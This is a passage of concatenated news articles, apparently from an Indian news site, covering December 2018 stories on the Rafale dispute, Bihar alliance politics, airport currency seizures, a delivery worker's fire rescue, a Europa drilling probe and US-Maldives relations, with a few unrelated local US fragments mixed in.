Dena Bank and Vijaya Bank. With regard to the December 26 strike, CH Venkatachalam, the general secretary of the All India Bank Employees Association, had told news agency PTI that the strike was against the central governments move and the concerned banks that have agreed to the proposed merger. All unions under the Union Forum of Bank Unions (UFBU) will participate in this strike call, Ashwani Rana, the vice-president of the National Organization of Bank Workers (NOBW) had said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. Hyderabad: Senior Congress leader M Veerappa Moily on Thursday accused Indian Air Force chief BS Dhanoa of "lying", a day after the latter called the Rafale deal a "game changer" and the Supreme Court verdict on it a "very fine" judgement. He also demanded Prime Minister Narendra Modis apology for having sacrificed the security of the nation by entering into the deal. Moily said the IAF chief along with the head of Dassault Aviation, the manufacturers of Rafale fighter jets, had visited public sector HALs Bengaluru headquarters days before the Paris agreement and found it a competent body with necessary expertise. "Today, to say it is fine (the SC judgement)...I think that IAF chief is not fine....he is not fine, he is lying. He is suppressing the truth. He is a party to suppressing the truth," Moily told reporters in Hyderabad. Later, talking to a TV news channel, Moily said, Apology has to be given by Narendra Modi for having sacrificed the security of the nation, having sacrificed the exchequer. He said Congress president Rahul Gandhi, who has been assailing the prime minister over the deal, need not apologise for the bold stand he has taken on the scam of the century. Instead, Gandhi should be appreciated, he said. Read | PM Modi's fresh salvo at Congress, says Rahul Gandhi-led party humiliated all democratic institutions The BJP has been demanding an apology from Gandhi for attacking Modi over the Rafale deal even after the Supreme Courts verdict which found no wrongdoing in it. "Even the words expressed by the Supreme Court you have heard is based on falsehood and web of lies made by the government of India," he said. Moily said Modi gave a certificate of incompetency to HAL. Dhanoa had on Wednesday hailed the SC order and deprecated attempts at politicising defence purchases, suggesting that this had earlier led to the delay in the Army acquiring the Bofors gun. I am not going to comment on the judgment but the Supreme Court has given a very fine judgment. It has also said that this plane is badly needed, he told reporters in Jodhpur. Hours after Moilys accusation, the BJP hit back, saying that it "totally exposes" the opposition party feeling "shattered" by the ongoing probe into the VVIP chopper contract. Read | Rafale Deal: Amit Shah slams Congress, Rahul Gandhi hits back at BJP, reiterates 'chowkidaar chor hai' "Comments of a senior leader like Moily totally exposes the Congress as he calls the IAF chief names. It shows its desperation is complete and it is totally shattered by the speed of inquiry that the government is doing against corruption," Union minister Prakash Javadekar told reporters. He was apparently referring to the CBI probe into the purchase of VVIP choppers from AgustaWestland when the United Progressive Alliance (UPA) was in power. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: In yet another major crackdown on smuggling of foreign currency out of India, the Directorate of Revenue Intelligence (DRI) on Monday and Tuesday seized a total of USD 1 million at Indira Gandhi International Airport, Terminal-3, New Delhi and Kempegowda International Airport, Bengaluru. The DRI officials also arrested one Afghan national and one Singaporean national from the two international airports respectively. While a total of USD 4,90,000 valued at Rs 3.59 crore was seized in Delhi, US Dollar/Euro/Saudi Riyals currencies equivalent to Rs 3.50 crore was assorted from Kempegowda airport in Bengaluru. "The foreign currency was being smuggled out of India to Dubai and Singapore, respectively," according to an official statement by the DRI. Read the full official statement released by the revenue intelligence here: In an operation conducted on 17.12.2018 in New Delhi, officers of DRI intercepted one Afghanistan national who was about to board a flight from IGI, Terminal-3 to Dubai, UAE. Detailed search of the baggage of the passenger resulted in the recovery of US Dollars concealed in the inside walls of a microwave oven, in the packaging of ceramic mugs and the inner lining of the checked-in suitcase. Read | Heroin worth over Rs 4 lakh seized, two women arrested in Mizoram The accused had cleverly dismantled the microwave oven and concealed the foreign currency in the inner walls using black tape in order to avoid detection by Custom Authorities. US Dollars were also concealed in the packaging of ceramic mugs in order to pass them off as packaging material during routine checks and in a specially made cavity in the stroller bag. Initial investigations have revealed that the foreign currency was being smuggled out of India as payment for the gold that had been smuggled into India previously. The accused also admitted to having smuggled foreign currency out of India on three previous occasions, taking the total detection in the case to USD 1.04 Million. In another operation carried out at Kempegowda International Airport, Bangalore, officers of DRI intercepted one Singapore national and recovered assorted Foreign currencies viz. USD, Saudi Riyal and Euro of various denominations from his checked in baggage. The total worth of foreign currency in this case is about INR 3.5 crores. Read | Turkish man held at IGI airport with 1.3 lakh tablets of ISIS drug In 2018, Indian Customs has arrested as many as 219 foreign nationals on charges of smuggling gold into India and foreign currency out of India. Arrested individuals include foreign nationals from South Asia, East Asia, South-East Asia and also Africa. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. We forget that kids that cant hear have to celebrate in a different manner, said Luigis owner Bill Poss, who has hosted the event for over a decade. Imagine not hearing and how a regular Santa would communicate with kids. Giving these children the chance to have some eye to eye contact gives me great joy to know they can communicate. New Delhi : Rashtriya Lok Samta Party (RLSP) chief Upendra Kushwaha, who had recently quit the BJP-led National Democratic Alliance (NDA) over the saffron partys arrogance towards the smaller allies, on Thursday joined Congress-RJD-led grand alliance in Bihar. Confirming the news of Kushwaha joining the Bihar grand alliance, Congress's Ahmed Patel said, "There is a gathbandhan in Bihar, it's a matter of happiness that Upendra Kushwaha is joining the mahagathbandhan". A crucial meeting with Congress and RJD leaders to okay the seat-sharing pact in Bihar for the next years Lok Sabha elections is currently underway in the national capital. Hindustani Awam Morcha (Secular) founder Jitan Ram Manjhi also took part in the meeting. According to the sources, the seat-sharing formula has already been finalised and an official announcement regarding that is likely to be made at a joint press conference this afternoon. "Leaders of Mahagathbandhan in Bihar, including Hindustani Awam Morcha (HAM) leader Jitan Ram Manjhi and Congress leader Shaktisinh Gohil, at AICC office in Delhi. RLSP leader Upendra Kushwaha also present," the news agency ANI reported. Leaders of Mahagathbandhan in Bihar, including Hindustani Awam Morcha (HAM) leader Jitan Ram Manjhi and Congress leader Shaktisinh Gohil, at AICC office in Delhi. RLSP leader Upendra Kushwaha also present. pic.twitter.com/uryXyHV1ez ANI (@ANI) December 20, 2018 RLSP leader Upendra Kushwaha arrives at AICC office in Delhi. pic.twitter.com/DyOYiN0ozC ANI (@ANI) December 20, 2018 On Sunday, Patel had met Kushwaha in Delhi, giving a further boost to the speculations of him joining the anti-BJP alliance in Bihar. JDU rebel and Loktantrik Janata Dal (LJD) leader Sharad Yadav may also be a part of the alliance. Read More | BJP ally RLSP chief Upendra Kushwaha resigns from Cabinet, hits out at PM Narendra Modi Possible seat sharing scenario in Bihar Congress: 8-12 seats RJD: 18-20 seats RLSP: 4-5 seats CPM, CPI, CPI(ML): 1 seat Jitan Ram Manjhis HAM-S: 1-2 seats Speaking about Kushwahas entry into the Grand alliance in Bihar, RJD leader Tejashwi Yadav confirmed that the RLSP chief has been invited and said that things will be clear by the evening. Citing LJP leader Ram Vilas Paswans unhappiness with the BJP, Yadav also accused Prime Minister Narendra Modi and his party of trying to crush the regional parties. Things will be clear by evening, you'll get to know. We have invited people in past too. If Upendra Kushwaha ji wants good for the country, we've invited him. There have been attempts to crush regional parties, even LJP isn't happy with Modi and his faction and this proves the fact, ANI quoted the RJD leader as saying. Also Read | Upendra Kushwahas supporters protest against Nitish Kumar's 'neech' remark; lathi-charged On December 10, Kushwaha had quit as a Union minister and pulled out his support from the BJP-led led alliance, accusing PM Modi of reducing the cabinet to a "rubber stamp". Kushwaha also warned smaller NDA allies that they will also face the same arrogance as he did. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : Donning an olive-green quilted jacket on a long sleeve pullover and blue jeans, Congress president Rahul Gandhi was seen holidaying in the picturesque Himachal Pradesh hill station. During the holiday, the Congress president flew a drone to inspect the under-construction house of his sister Priyanka Gandhi. Pictures of him flying the drone outside his Priyankas house are already making rounds on social media. During the Shimla visit, the Congress president also enjoyed two-minute maggi along with a cup of tea and interreacted with locals at a roadside dhabha. Hearing the news of Congress chief visiting the dhabha, local party workers reached the spot to click pictures with him. After the exhausting election campaign for the Assembly polls in five states, Congress President Rahul Gandhi along with his sister Priyanka Gandhi Vadra and her children went to Shimla to see his sisters under-construction house at Chharabra. The Congress president arrived in Shimla on a personal visit by road. Meanwhile, a controversy has erupted over Rahul Gandhi's Shimla visit. According to the reports, the Congress president flew a drone to capture 360-degree images of his sister's under construction house. A report published in Dainik Jagran claimed that the Congress leader didn't take prior permission before flying the drone. It is now mandatory to take prior permission from authorities to fly a drone on public and residential places. For violating the newly laid down guidelines for flying a drone, is a punishable offence under the sections of 287, 336, 337, 338. The visit of Gandhi comes days after the Congress emerged victorious in assembly elections in Madhya Pradesh, Rajasthan, and Chhattisgarh. After each election, Rahul Gandhi takes a small break from politics and go for holidays. Last year, after the Assembly elections in Gujarat and Karnataka, he had gone to Italy to visit his grandmother. However, he often faces criticism for his post-election trips and his opponents call him a part-time politician. After Gujarat polls, the BJP had taken a dig at him for enjoying holidays even as his party lost the elections. However, the holiday didn't make a fuss this time as he led his party a to landslide victory in three heartland states. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : In a big relief to ailing Rashtriya Janata Dal (RJD) president Lalu Prasad, Delhi's Patiala House Court on Thursday granted him interim bail in two Indian Railway Catering and Tourism Corporation (IRCTC) scam cases. Hearing the interim bail plea filed by the RJD chief, special judge Arun Bharadwaj posted the matter for the next hearing on January 19, 2019. Lalu Yadav, who is currently lodged in Ranchi jail in the fodder scam case, was produced before the court via video conferencing as his physical presence was not possible due to ill health. Earlier during the previous hearing of the case on November 19, the court had ordered Lalu to appear before the court through video conferencing after his lawyer told the court that he was unable to appear before the court due to poor health. The court had directed the CBI and the ED to make necessary arrangements and ensure Lalu's presence. Yadav to appear through video conferencing and had asked the CBI and the Enforcement Directorate to make all arrangements to ensure his presence either from hospital or jail. Special Judge Arun Bharadwaj had issued the directive after he was told that Yadav was unable to appear before the court due to ill-health. Also Read | Lalus health deteriorates due to boil on leg, says RIMS doctor The Delhi court also directed the Central Bureau of Investigation (CBI) and the Enforcement Directorate (ED) to file their response on Lalu's plea seeking regular bail in both the cases. The IRCTC scam case pertains to alleged irregularities in granting operational contracts of two IRCTC hotels to a private firm in 2005 when Lalu was the Union railways minister. He had allegedly received a three-acre plot worth Rs 45 crore through a shell company owned by the wife of an RJD MP in exchange for the deal. Both ED and the CBI had filed separate cases against Lalu, his wife Rabri Devi and son Tejashwi Yadav. The court had already granted regular bail to Rabri and Tejashwi in the case filed by the CBI, while they are on interim bail in the money laundering case filed by the ED. With Lalu, the interim bail of his wife Rabri and son Tejashwi has also be extended till January 19 when the matter will be heard again in the court. Also Read | Lalu Prasad Yadav granted five-day parole to attend son Tej Pratap's wedding ceremony For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : After the humiliating defeat in three heartland states, the BJP will look to gain a little before the year draws to a close by winning the crucial bypoll on two Assembly constituencies in Gujarat and Jharkhand. The by-election on Jasdan Assembly constituency in Gujarat and Kolebira constituency in Jharkhand are slated to hold on Thursday and the BJP will hope to turn the tide in its favour before the Lok Sabha elections next year. Although it will be relatively minor revenge to the humiliation of defeats in Chhattisgarh, Rajasthan and Madhya Pradesh, the BJP would desperately want to conquer the Congress in its bastion Jasdan. The by-election in Gujarats Jasdan has become a battle of prestige for the BJP as it looks to prove that it has not yet lost the popular support, at least in the home state of Prime Minister Narendra Modi. Dominated by the Koli community, Jasdan has been a stronghold of the Congress. In 2017 Assembly elections, Congress Kunvarji Bavaliya has won the seat with a margin of 9,000 votes. Also Read | Rahul Gandhi challenges PM Modi's 'magic', guides Congress to sweep BJP bastions However, Bavaliya a popular Koli community leader had quit the Congress a few months ago and joined the ruling BJP to become the minister in Vijay Rupani cabinet. But to remain the minister, he needs to win the seat again as a BJP candidate. Although Bavaliya is quite assured of his victory, he may face a challenge from a section of his own community who are terming him a traitor. In Jharkhand, Kolebira is tribal dominated seat in Jaldega block of Simdega district. Kalebira is one of Indias poorest place and it came to the forefront last year after the death of 11-year-old Santoshi Kumari due to starvation. A resident of Karimati village in Kalebira constituency, Santoshi lost her fight with hunger after her family was denied ration as their ration card was not linked with Aadhaar. The seat fell vacant in June this year after its MLA, Jharkhand Party leader Anosh Ekkas conviction in a case of abduction and murder of a para-teacher named Manoj Kumar. Ekka was sentenced to life imprisonment for the murder of the Kumar, his staunch critic. Ekka was also probed by the Enforcement Directorate (ED) in a money laundering case. Also Read | Victory and defeat an integral part of life, congratulate Congress for winning, says PM Modi People of Kolebira are loyalists to Ekka and his election and re-election in 2009 and 2014 Lok Sabha polls while he was in jail prove this. This time, his wife Menon Ekka is fighting from Kalebira on behalf of his husband. In 2009 and 2014, it was Ekkas wife who had managed his campaign. The Jharkhand Mukti Morcha (JMM), the largest Opposition party in the state has also extended its support to Ekkas wife Menon. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi : West Bengal Chief Minister Mamata Banerjee, a key stakeholder of the proposed anti-BJP federal front for the 2019 Lok Sabha elections, on Wednesday played down Dravida Munnetra Kazhagam (DMK) chief MK Stalins remark favouring Congress president Rahul Gandhi as the Grand Alliances candidate for the prime ministers post. Speaking to reporters outside the state secretariat in Kolkata, Banerjee said that it was not the right time to decide the prime ministerial candidate as the decision would be made by all the political parties of the proposed anti-BJP federal alliance after the 2019 general election results. Banerjee, however, said that she will accept whatever all the alliance partners will decide. "I am not alone. We are working together. So, whatever all the political parties, who have come together will decide, we will accept that. Now is not the right time. Let us hope for the day when there will be a good change," the West Bengal CM said. Also Read | SP, BSP dump Congress from Grand Alliance in Uttar Pradesh, finalise seat-sharing pact: Sources On Sunday, during the statue unveiling of DMK patriarch M Karunanidhi, MK Stalin had said, "Rahul has got the ability to defeat fascist Modi government. Let's strengthen Rahul Gandhi's hands, let's save the country". However, the proposal put the Opposition unity in peril and was opposed by other alliance partners including Akhilesh Yadavs Samajwadi Party, Chandrababu Naidu's Telugu Desam Party and Farooq Abdullah's National Conference. Banerjees party had earlier said that such a proposal would be premature and create a rift between the alliance partners. In Uttar Pradesh, the most crucial state from the view of general elections, Akhilesh Yadavs SP and Mayawatis BSP had dumped the Congress and stitched their own alliance with Ajit Singhs Rashtriya Lok Dal (RLD). According to sources, the SP-BSP-RLD alliance has also finalised the seat-sharing formula. As per the pact, the SP will contest 37 seats while the BSP will get 38. Three seats have been given to Ajit Singhs RLD while the alliance has decided not to contest two seats - Amethi and Raebareli. Akhilesh Yadav had also rejected the suggestion of MK Stalin to propose Rahul Gandhi as Opposition's PM face. He said that it was the personal opinion of the DMK chief and the alliance was not of the same view. "People are unhappy with the BJP. Telangana CM, Mamataji and Sharad Pawarji had attempted to bring together all leaders to form an alliance. If someone is giving his opinion, it isn't necessary that alliance has the same opinion," he had said. Also Read | Opposition unity in peril after Stalin's pitch for Rahul Gandhi as PM in 2019 Stalin, however, defended his idea and put out a statement, "Projecting Rahul Gandhi for PM is the right thing to unite secular forces." After the Congress party's landslide victory in three heartland states, Chhattisgarh, Rajasthan and Madhya Pradesh, people's perception about Rahul Gandhi's leadership has changed and now he is seen as a potential challenger to Narendra Modi. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: With 2019 Lok Sabha elections knocking at the doors, Lok Janshakti Party (LJP) leader Ram Vilas Paswan and his son Chirag Paswan on Thursday hold talks with BJP national president Amit Shah in Delhi to discuss the NDAs seat-sharing arrangement in Bihar. Earlier on Wednesday, LJP, a key constituent of the ruling NDA, pressed for finalisation of the coalition's seat-sharing arrangement in Bihar by December 31, 2018. There were also reports that Paswan's party has been upset over no headway on the seat-sharing pact despite several rounds of meeting with the BJP. Though Paswans are reportedly promised to give six seats to contest in 40-seat Bihar, they are upset about one Rajya Sabha seat in Assam that was missing in the arrangement. Amid this growing conflict between the allies, irked, Chirag Paswan, also warned of "consequences" if "seat-sharing decisions are not settled in time". Taking a dig at the ruling BJP, the junior LJP leader remined that allies like Upendra Kushwaha and Telugu Desam Party (TDP)'s N Chandrababu Naidu are no longer parts of the NDA and so it should "address concerns of the remaining parties in a timely and proper fashion". However, Bihar Chief Minister and JDU supremo Nitish Kumar, who is also a part of the NDA and is likely to get 50 per cent of the seats, has backed Paswans and is reportedly arriving in Delhi on Friday for talks with Amit Shah. According to sources, Nitish Kumar wants the BJP to fulfil its promises to Paswans as losing them could be major setback for the NDA, paving the path for the opposition coalition or "mahagatbandhan" in Bihar. Read | Upendra Kushwaha joins RJD-led grand alliance in Bihar, Ahmed Patel expresses happiness Paswan and Pashupati Kumar Paras are also scheduled to meet Union Finance Minister Arun Jaitley over the issue of 2019 seat share in the national capital on Friday. Lok Janshakti Party leaders Ram Vilas Paswan and Pashupati Kumar Paras to meet Finance Minister and BJP leader Arun Jaitley tomorrow over the issue of 2019 seat share. ANI (@ANI) December 20, 2018 'Mahagatbandhan' refers to the Congress-RJD-led grand alliance in Bihar which is seeking to oust the Bharatiya Janata Party in the upcoming general election due by May. Read | Grand Alliance a myth, Shiv Sena to remain with NDA in Maharashtra, says BJP president Amit Shah Rashtriya Lok Samta Party (RLSP) chief Upendra Kushwaha, who on December 10 broke his ties with the BJP-led National Democratic Alliance (NDA) on Thursday joined the Congress-RJD-led grand alliance in Bihar. Sources said, the seat-sharing arrangement between the alliance partners has already been finalised and an official announcement is likely to be made anytime soon. Pulling out his support from the BJP-led led alliance, Kushwaha had accused Prime Minister Narendra Modi of reducing the cabinet to a "rubber stamp". Kushwaha also warned smaller NDA allies to quit the BJP-led alliance, otherwise they will face the same arrogance as he and his party did. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: This Swiggy delivery boy from Mumbai is the perfect example of not all hero wear capes. The hero, now distinguished as Sadhu Humanabade is now hailed as Mumbai's new hero and his brave deed is drawing inspiration to the whole nation. So, what exactly did this delivery boy do to draw the attention of a hero? A class 12 pass out, Sidhu, who works as a delivery guy at Swiggy, is said to have saved the lives of 10 people from a major fire that broke out on Monday at ESIC Kamgar Hospital. According to sources, Sidhu was passing by for his daily work at the hospital when he first saw the fire and immediately without a second thought went to help the people stuck in the hospital. He is reported to have left his bike then and there and joined the firemen in the rescue operations to help the people caught in the cloud of fire and smog. Read | Mumbai girl Apurva Pravin Thakur crowned Miss Teen Universe India 2019 Sidhu was said to have risked his own life choking on the smog while trying to rescue the stranded patients. He himself suffered smog inhalation and was later admitted at the nearby Seven Hills Hospital. A photo of him from the hospital shows Sindhu still wearing his Swiggy shirt as the photo was shared by his doctor recently. Here is a picture of him undergoing treatment: @swiggy_in @WeAreSwiggy The 20-year-old boy, Sidhu Humanabade, works for Swiggy. He saved 10 precious lives by risking his own life, during Mumbai hospital fire. A big Salute to you Brave boy. He deserves Bravery Award @CMOMaharashtra @Dev_Fadnavis @rashtrapatibhvn pic.twitter.com/CXplbIaUiZ Nitin Kamalasanan (@nithin_kamal) December 20, 2018 Talking about how he rescued the patients from his hospital bed, Sidhu told PTI, "I joined the firemen in their rescue operation. Thankfully, the firemen allowed me to climb their ladder to reach the fourth floor. I broke the building's glass with an axe and entered the premises." After news of his brave act spread, the Union Minister of State for Labour and Employment Santosh Gangwar is reported to have visited Sidhu at the hospital to show appreciation for his heroic act. Read | Heres why you need to replace white rice with brown rice ASAP The Internet who also took notice of his brave by showering him with love and hailing him a hero. Sources say that Sidhu had joined Swiggy a few days back when he shifted to Andheri, with his uncle. For all the Latest Offbeat News News, Download News Nation Android and iOS Mobile Apps. New Delhi: NASA scientists have proposed a plan for a nuclear-powered robot drill that would dig in a Jupiter moon in an attempt to find aliens. Scientists have named the plan "tunnelbot" and researchers see this as an opportunity to delve deep beneath the distant world of Jupiter's moon Europa. Some researchers suspect that there are aliens hiding beneath its surface. Andrew Dombard, along with his spouse and associate professor in Earth and environmental sciences, D'Arcy Meyer-Dombard, designed the tunnelbot to sample ice through the shell, as well as the water in the ocean below. Europa, the fourth largest of Jupiter's 53 moons, is one of the prime candidates in our solar system for holding alien life. ALSO READ | Most-distant solar system object ever discovered Researchers believe that its icy crust hides a liquid water ocean and the vents through that crust might deliver the necessary heat and chemical ingredients for life into the ocean. Once it reaches the liquid ocean, to keep from "falling through," it would deploy cables or a floatation device to lock itself in place, the researchers wrote. Designed by engineers at the University of IL at Chicago, the "tunnelbot" is a nuclear-powered machine capable of piercing and diving into the thick, ice shell of Jupiter's moon Europa, where water is in contact with a rocky core, according to reports. The probe developed by Dombard and his colleagues would be able to tunnel through Europa's ice - which has a thickness ranging from 1.2 to 18.6 miles - and carry instruments created to test the subsurface ocean for evidence of microbial life. Getting through this thick ice to take samples of the ocean has been a major tactical problem for scientists. ALSO READ | Unusual star spotted in the outer regions of a disc of dust and gas Estimates of the thickness of the ice shell range between 1.2 and 18.6 miles, and is a major barrier any lander will have to overcome in order to access areas we think have a chance of holding biosignatures representative of life on Europa, said Andrew Dombard of the University of IL at Chicago. The bot would also evaluate the habitability of the ice shelf itself. The researchers haven't actually designed the payload for sampling Europa's water and ice, or figured out how to get the tunnelbot onto the moon, the South Soccer reported. For all the Latest Science News, Download News Nation Android and iOS Mobile Apps. Jerusalem: Israel has urged a special session of the UN Security Council to condemn the Lebanese militant group Hezbollah and designate it a terrorist organization following the discovery of cross-border tunnels stretching into Israel. Following a stormy session, the council took no action on the Israeli request, though several members sided with Israel and expressed concerns over Hezbollah's violation of a UN Security Council resolution that ended a 2006 war between the bitter enemies. Israel has previously urged the UN's most powerful body to condemn Hezbollah, but has never succeeded because of divisions in the council, and there was no move Wednesday to circulate a draft resolution on the tunnels. ALSO READ | United States defeated Islamic State group in Syria: Donald Trump A key reason for the lack of council action is that some members would insist that Israeli violations of the 2006 resolution also be included in a resolution. Early this month, Israel announced the discovery of what it said was a network of cross-border Hezbollah attack tunnels and launched an open-ended military operation to destroy them. It so far has exposed four tunnels that it says were to be used to infiltrate and attack Israeli towns and abduct Israeli civilians. Ahead of Wednesday's debate, Prime Minister Benjamin Netanyahu urged the council to condemn Hezbollah. "This is not merely an act of aggression. This is an act of war," Netanyahu said. "The people of Lebanon have to understand that Hezbollah is putting them in jeopardy and we expect Lebanon to take action against this." At the United Nations, Israeli Ambassador Danny Danon showed an aerial photograph of what Israel called a "private compound" near the border that concealed a tunnel. He also presented an aerial photo showing what he said were weapons-storage sites concealed in a border village. He said Israel had given the UN peacekeeping mission, known as UNIFIL, "precise information" about the tunnels that was shared with the Lebanese army. He accused the Lebanese army of then relaying the information to Hezbollah, allowing it to try to conceal the tunnels. "Lebanese army officials are working for Hezbollah, while UNIFIL is not working to fulfill its mandate in the region in the necessary manner," Danon said. The UN's peacekeeping chief, Jean-Pierre Lacroix, said UNIFIL had confirmed four tunnels, including two that cross the frontier into Israel. ALSO READ | US likely to go to war with North Korea, China and Iran, say reports Calling them a "serious violation" of the 2006 cease-fire resolution, Lacroix said UNIFIL is "acting judiciously" to complete its investigation and to work with both sides to disable all tunnels that cross the border. "This is a matter of serious concern," he said. Lebanon's ambassador, Amal Mudallali, said her country took the matter seriously and remains committed to the cease-fire resolution. "This commitment is not rhetoric, and these are not mere words, because this commitment is in the interest of my country and my people," she said, adding that the Lebanese army is "deployed heavily" in the south to make sure the cease-fire is honored. But she also accused Israel of repeatedly violating the resolution by having its air force routinely fly through Lebanese skies. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: An unidentified streak of light was seen over Northern California leaving many questioning what they saw moving through the sky late on Wednesday. The bright light lit up the sky after a postponement of a rocket launch from Vandenberg Air Force Base. The scheduled 5:44 pm launch of the Delta IV Heavy rocket in Southern California was cancelled, leaving many wondering what was in the sky. A representative from Vandenberg Air Force Base had no information about the sight in the sky. Travis Air Force Base also did not have information on the light, but the National Weather Service believed it may have been a meteor, according to a report in the CBS Sacramento. Speculation continued online with many asking NASA whether it was a shuttle or part of space debris. Read More | NASA scientists plan nuclear-powered 'tunnelbot' to search aliens A spokesman for National Weather Service Eureka a California-based account appeared to confirm what the strange object was. He said simply this was a meteor. Twitter was thrown into a frenzy and people took to social media to describe what they believed to be a mystery light. One user posted: A bright object hovered, made a loop, and fell in the sky above the ocean in San Francisco. What was that? A resident told ABC7 News, "It was brighter than a normal cloud, especially at this time of night." #BREAKING We just talked to @Norad_Northcom They are still investigating the mysterious object in the western skies. They did say there is No threat or danger to the USA or Canada. @nbcbayarea https://t.co/QUv7ibmend pic.twitter.com/2qigs91BTE John Zuchelli (@tvzuke) December 20, 2018 It was far too big to be a firework, said Gus Graves of San Francisco as quoted by CBS SF Bay Area. Im thinking its some sort of high-tech rocket that theyre working on, possibly? Or aliens. One of the two. I was thinking it was a jet or something, said Kira Bulger of Oakland. Like a fighter pilot that was leaving a crazy streak in the sky. Lick Observatory in San Jose said the bright flash across the sky likely was some type of meteor, and NBC Bay Area Chief Meteorologist Jeff Ranieri affirmed that report, saying it likely was a "meteor fireball or bolide," with a slimmer chance of it being "space junk." Anyone else see this interesting cloud feature? We saw it here at the office. #cawx pic.twitter.com/nc8xdZ5jj4 NWS Bay Area (@NWSBayArea) December 20, 2018 Also Read | International Space Station crew set to land in Kazakhstan today NBC Bay Area reached out to the United States Air Force at NORAD Headquarters at Peterson AFB in Colorado, where officials said they were investigating the reports. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. The most expensive townhomes in Naperville on both Trulia and Zillow are listed at $819,000. The luxury townhomes are just under 3,000 square feet with three bedrooms, up to four bathrooms near Center Street and 8th Avenue. Those units can include custom cabinets, natural hardwood flooring, a private landscaped rear courtyard with brick patio, and outdoor fireplace and an optional outdoor kitchen, according to the Trulia listing. Washington: The Trump administration said it welcomes India's "reinvigorating" ties with Maldives, two days after New Delhi announced a USD 1.4-billion financial assistance to the island-nation faced with a daunting challenge to fend off mounting Chinese debts.The statement from the Trump administration came as the newly elected President of Maldives, Ibrahim Mohamed Solih, wrapped up his three-day visit to India. During the visit, Solih had called India his country's closest friend and "largest trading partner". The two countries have also agreed to remain mindful of each other's concerns and aspirations for stability in the strategic Indian Ocean Region and boost maritime cooperation. "We welcome India reinvigorating its ties with Maldives and note the many positive announcements that came out of Prime Minister Solih's recent visit to India," Deputy Assistant Secretary of State for South and Central Asia David Ranz told Indian reporters Wednesday. ALSO READ | United States defeated Islamic State group in Syria: Donald Trump India, Ranz said, shares America's view of Maldives' critical role in the security of the Indo-Pacific and the importance of offering support during this transition period. Solih's visit to India within a month after taking charge of presidency is seen as an effort by his government to repair ties with India. The bilateral relations had strained during the rule of his predecessor Abdulla Yameen, who had developed increasingly closer ties with China. During Solih's visit, Prime Minister Narendra Modi said there are "infinite possibilities" between the two neighbours. "India will always stand by you in your government's ambitious efforts to change the lives of the Maldivian people. For the social and economic development of Maldives, India will extend budget support, currency swap and lines of credit worth USD 1.4 billion," Modi said. Ranz has just returned from a visit to Male. The purpose of his visit was to examine ways the US can expand its partnership with Maldives in pursuit of a free and open Indo-Pacific. The US do not have an embassy in Maldives and the American ambassador in Sri Lanka is also the envoy to Male. "The election of President Solih and subsequent peaceful transition of power was a major democratic moment, and one that the United States views as profoundly significant for the broader region," Ranz said. Soon after the election in early October, Principal Deputy Assistant Secretary Alice Wells was in Male as the first high-level Trump administration visitor to Maldives. Ranz's visit last week served to build on the relationships with the new government established by Wells and US Ambassador to Sri Lanka and Maldives Aliana B Teplitz ? who recently assumed the role and led US delegation to President Solih's November 17 inauguration ? and ramp up America's coordination on Maldives' short and long-term needs. "The United States is looking to providing assistance in the areas of debt analysis and sustainability, justice-sector capacity building, civil society support, and environmental aid all areas the Maldivian government has identified as priorities in its 100-day plan," Ranz said. ALSO READ | US likely to go to war with North Korea, China and Iran, say reports The United States has also offered security assistance given Maldives' strategic location on key sea lanes, he said, adding that the US has already committed USD10 million to Maldives. "We believe this support will help strengthen democracy, improve governance, root out corruption, enhance security, and promote economic development, which are priorities we are emphasizing across the region as part of our vision for the Indo-Pacific," Ranz said. Maldives occupies a very important geo-strategic position in the Indo-Pacific given the volume of trade that transits through the sea lanes it sits astride. According to reports, the Maldives' debt to China has reached USD 3 billion. "With its recent return to a democratic path, we see Maldives as a country that can tap the initiatives we are rolling out across the Indo-Pacific and become a valuable partner in realizing a secure, strong, and prosperous Indo-Pacific region," Ranz said. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. DANBURY Local leaders hope their old plea for new state money to help fund city and school programs will be heard loud and clear next year by a new governor and new legislative delegation. Mayor Mark Boughton and Superintendent Sal Pascarella pleaded their case alongside their local elected counterparts on Wednesday night to the areas group of state representatives and senators, which includes several new faces after a series of incumbent upsets in Novembers election. Amid years of financial stress for the state, the city and district, area leaders are optimistic the new chapter under incoming Gov. Ned Lamont will provide more opportunities for funding gains. Im optimistic every year and Ive been doing this for 30 years, said longtime State Rep. Bob Godfrey, a Democrat representing Danbury. Weve been able to do some things and we havent cut school funding, although we wanted to do more. I like to say that sometimes to get a loaf you have to get it by the slice, so well how it goes this year. School funding is again top of mind for leaders looking into the next budget season as the Danbury school district continues its 16-year run of steady student population growth. The districts funding has increased, too, but not in proportion to its growth rate, leaving school and city leaders squeezing each budget year to accommodate the staff and physical space needs that accompany the constant growth. Danbury Public Schools expect to receive about $32.3 million in state funding next year, according to preliminary planning, in a budget that is likely to near $140 million. The city foots the rest of the bill and historically approves a portion of the budget increase. If the Legislature fully funded the public school formula, that state funding would nearly double, Pascarella said. But legislators will have to band together to ensure the district can hold the line on its expected funding to keep up with its students, he said. We dont spend as much (per student) as people around us and we do a lot more, he said. We do it through the grants and the hard work of the teachers. The problem Danbury has is not that we cant get money, its sustainability, he said. I cant guarantee to your kids that in two years the program that we started is going to be here. Thats just not fair. Earlier this fall, just a few weeks before the election, a collection of area superintendents and top administrators ribbed the legislators and then-candidates about the need for school leaders to be more involved in the lawmaking process. They pointed to examples like a new student data privacy rule that requires districts to have contracts with their software vendors, which has become a cumbersome and expensive process each district must handle alone. The same thing happens with mandates passed down to municipal governments that, while well-intentioned, cost time and resources that could be nipped in the bud with more coordination with lawmakers, Boughton said. Every bill that comes out has a cost to it if it affects cities and schools, Boughton said. Its difficult to pay for things when we cant do the things we already have to do. Lamonts budget, because it will be his first, will not be due until late February. That will mean the process starts several weeks later than in recent years and will force local leaders to be even more eagle-eyed about the bills soaring through committees and state negotiations as they race toward passing their local budgets, 